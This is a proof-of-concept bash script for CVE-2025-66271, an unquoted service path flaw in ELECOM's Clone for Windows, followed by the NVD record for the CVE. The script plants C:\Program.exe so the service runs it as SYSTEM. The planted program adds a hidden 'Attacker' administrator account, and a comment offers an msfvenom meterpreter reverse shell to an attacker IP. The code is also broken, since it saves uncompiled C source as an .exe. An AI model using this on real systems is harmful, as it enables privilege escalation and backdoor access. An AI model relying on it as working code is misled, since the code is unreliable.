CVE-2025-66271

#!/bin/bash # CVE-2025-66271 PoC - Clone for Windows Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability # Author: Security Researcher # Date: 2025-12-09 # Check if we have write permission on system drive root if [ ! -w "/mnt/c/" ]; then echo "[-] Error: No write permission on system drive root" exit 1 fi # Create malicious executable that will be executed with SYSTEM privileges cat > /mnt/c/Program.exe << 'EOF' #include <windows.h> #include <stdio.h> int main() { // Create a reverse shell or execute privileged commands // This payload runs with SYSTEM privileges STARTUPINFO si = {sizeof(STARTUPINFO)}; PROCESS_INFORMATION pi; // Example: Create a new user with admin privileges // In real attack, this would be a reverse shell or RAT char* cmd = "cmd.exe /c net user Attacker P@ssw0rd123 /add && net localgroup Administrators Attacker /add"; if (CreateProcess(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { printf("[+] Malicious payload executed with SYSTEM privileges!\n"); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } return 0; } EOF echo "[+] Malicious Program.exe created at C:\Program.exe" echo "[+] Waiting for Clone for Windows service to restart..." echo "[+] When service restarts, it will execute our payload with SYSTEM privileges" # Alternative: Use msfvenom for reverse shell # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f exe -o /mnt/c/Program.exe

{"cve": {"id": "CVE-2025-66271", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:18.210", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Clone for Windows provided by ELECOM CO.,LTD. registers a Windows service with an unquoted file path. A user with the write permission on the root directory of the system drive may execute arbitrary code with SYSTEM privilege."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN33172708/", "source": "[email protected]"}, {"url": "https://www.elecom.co.jp/news/security/20251209-01/", "source": "[email protected]"}]}}